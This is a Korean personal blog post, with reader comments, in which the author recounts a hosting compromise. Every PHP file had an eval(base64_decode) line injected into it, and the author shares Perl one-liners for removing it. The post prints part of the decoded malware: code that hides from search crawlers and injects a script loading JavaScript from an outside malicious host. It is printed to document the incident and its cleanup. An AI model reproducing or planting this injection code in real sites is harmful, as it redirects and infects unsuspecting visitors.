A Small Step Forward 유학, 연구, HCI, 정보와 사람, 창의성

7May/109

PHP eval(base64_decode 해킹

호스팅 해서 쓰고 있는 계정의 모든 PHP 파일의 첫줄에

<?php /**/ eval(base64_decode(“….”); ?>

이 삽입되는 해킹을 당했다. 유사한 사례를 찾아보니 인터넷에 좀 있기는 하다. 이 곳에 언급된 피해사례와 거의 동일하다.

 

다행히 손실되거나 한 데이터는 없는데, 이 일이 있고나서 방금 전까지 12시간여동안mcpanic.com/juhokim.com 을 방문한 분들은 좀 놀랐을듯. 죄송합니다… PHP 스크립트를 사용하는 동작을 하면 갑자기 이상한 URL 로 자동 리다이렉트 되는 문제가 생긴다. 첫줄에 있는 base64_decode 안에 있는 코드가 실행이 되면서 엉뚱한 곳의 코드를 실행하는 것이다. decode 를 해보니 볼드체로 된 URL 에 있는 스크립트를 실행한다.

 

if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){  
    $GLOBALS['mr_no']=1;  
    if(!function_exists('mrobh')){     
        if(!function_exists('gml')){    
            function gml(){     
                if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){      
                    return “<script src=’http://zettapetta.com/js.php’></script”;     
                }     
                return "";    
            }   
        }  

<후략>

 

워낙 많은 파일들이 피해를 입어서 일괄적으로 수정을 하기 위해 오랜만에 regular expression 을 끄적거렸다. 일단 어떤 파일들이 피해를 입었는지 보기 위해서 grep 으로 살펴봤더니 모두 PHP 파일이었고, 첫줄에만 피해가 있었다. 일괄적으로 수정하는 한줄의 코드를 실행시켜서 일단 급한 불을 껐다. Perl 의 –i 플래그에 확장자를 붙여주면 변경하기 전 파일을 복사해 확장자를 붙여 저장해 준다.

 

find ./ -name "*.php" | xargs perl -i.bak -p -e 's/\<\?php \/\*\*\/ eval\(base64_decode\(\".*\"\)\)\;\?\>//';

 

그랬더니 PHP 파일 최상단에 빈줄이 생겨 제대로 동작하지 않는 문제가 발생했다. 역시 이런건 한번에 깔끔하게 하기가 쉽지 않다. 그래서 맨 위 5줄에 있는 빈줄을 모두 없애기 위해 다시 한번, ‘close ARGV if eof’ 를 해주지 않으면 current line number 인 $. 가 계속해서 올라가기 때문에 원하는 동작을 하지 않는다.

find ./ -name "*.php" | xargs perl -i.hack3 -p -e 's/^\s*$// if $.<5; close ARGV if eof';

 

PHP 의 보안이나 다른 어딘가에 보안 구멍이 있는 것 같은데, 보안 쪽은 영 문외한이라 어디부터 손봐야할지 모르겠다. 혹시 비슷한 경험이 있거나 예방책 등을 아시는 분은 애정어린 조언을 부탁드립니다!

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

  • http://www.mcpanic.com mcpanic

    수영 – 그러게말야.. 이상한 문제가 있어서 해결했어..
    블로그 운영처럼 간단해 보이는 일들도 별 이슈들이 다 생기는구나;;
    세상에 쉬운일이 없단말이지 ㅎㅎ 알려주어 고마워 :)
    근데 저 문제 있을때 아예 블로그가 동작을 안하던데 어떻게 댓글 단거야?

  • http://www.dobox.com/ Bruce

    아 좋은 정보 감사합니다! 하나씩 차분히 적용해 봐야겠어요 :)
    보안이란 참, 평소에는 크게 신경쓰지 않다가도
    한번 당하면 그 대미지가 엄청 커서
    미리미리 번거롭더라도 조심해야 하는 것 같아요.

  • danejung

    아..일단 해킹 위험이 있네요…sql_injection부터 막으시구요
    보통 순서가 sql_injection->DB 테이블 생성->악성코드 DB에 insert
    ->export 파일 -> 웹에서 실행—–>아이디/패스워드 모두 노출됨
    그럼 접속해서 유유히…파일을 다운받아서 악성코드 삽입후 모두 업로드
    이렇게 된답니다.

    보통 해킹할때 특징은 본서비스에는 지장없이 악성코드를 유포하는건데요

    본래 이렇게 되면 모두 포맷하고 아이디/패스워드 변경이 정석이지만

    일단 그런데로 해당 악성 로된것들 다 지우고
    ftp보안 강화 하고…패스워드 어렵게 만드시고
    db암호 바꾸시고…

    아…할게 많아요 ㅠ.ㅠ

    • http://www.mcpanic.com mcpanic

      아 좋은 정보 감사합니다! 하나씩 차분히 적용해 봐야겠어요 :)
      보안이란 참, 평소에는 크게 신경쓰지 않다가도
      한번 당하면 그 대미지가 엄청 커서
      미리미리 번거롭더라도 조심해야 하는 것 같아요.

  • rainysea

    이런 글 보니까 진짜 씨에쓰 같구나 ㅎㅎ 근데 해킹 이름에 괄호가 안닫히니까 적응 안 되어 ㅋ

    • http://www.mcpanic.com mcpanic

      이거 얘기만 하고 댓글을 안달았었네~ 이런걸로 CS 같다고 하면 좀 민망해 ㅎㅎ
      괄호는 불안감을 조성하기 위해 일부러 안 닫았어 ㅋㅋㅋ

      • http://swioda.com Suyoung Kim

        아냐..정말 CS같아. 그나저나 아직도 조금 불안정한것 같은데…

        • http://www.mcpanic.com mcpanic

          흐음 어떤지 이야기해줘.. 아참 내 메일은 받은거지?

          • http://swioda.com Suyoung Kim

            Warning: sem_get() [function.sem-get]: failed for key 0x152b: Permission denied in /home1/mcpanicc/public_html/blog/wp-content/plugins/wp-cache/wp-cache-phase2.php on line 97

            네 블로그 위에 이건 모지?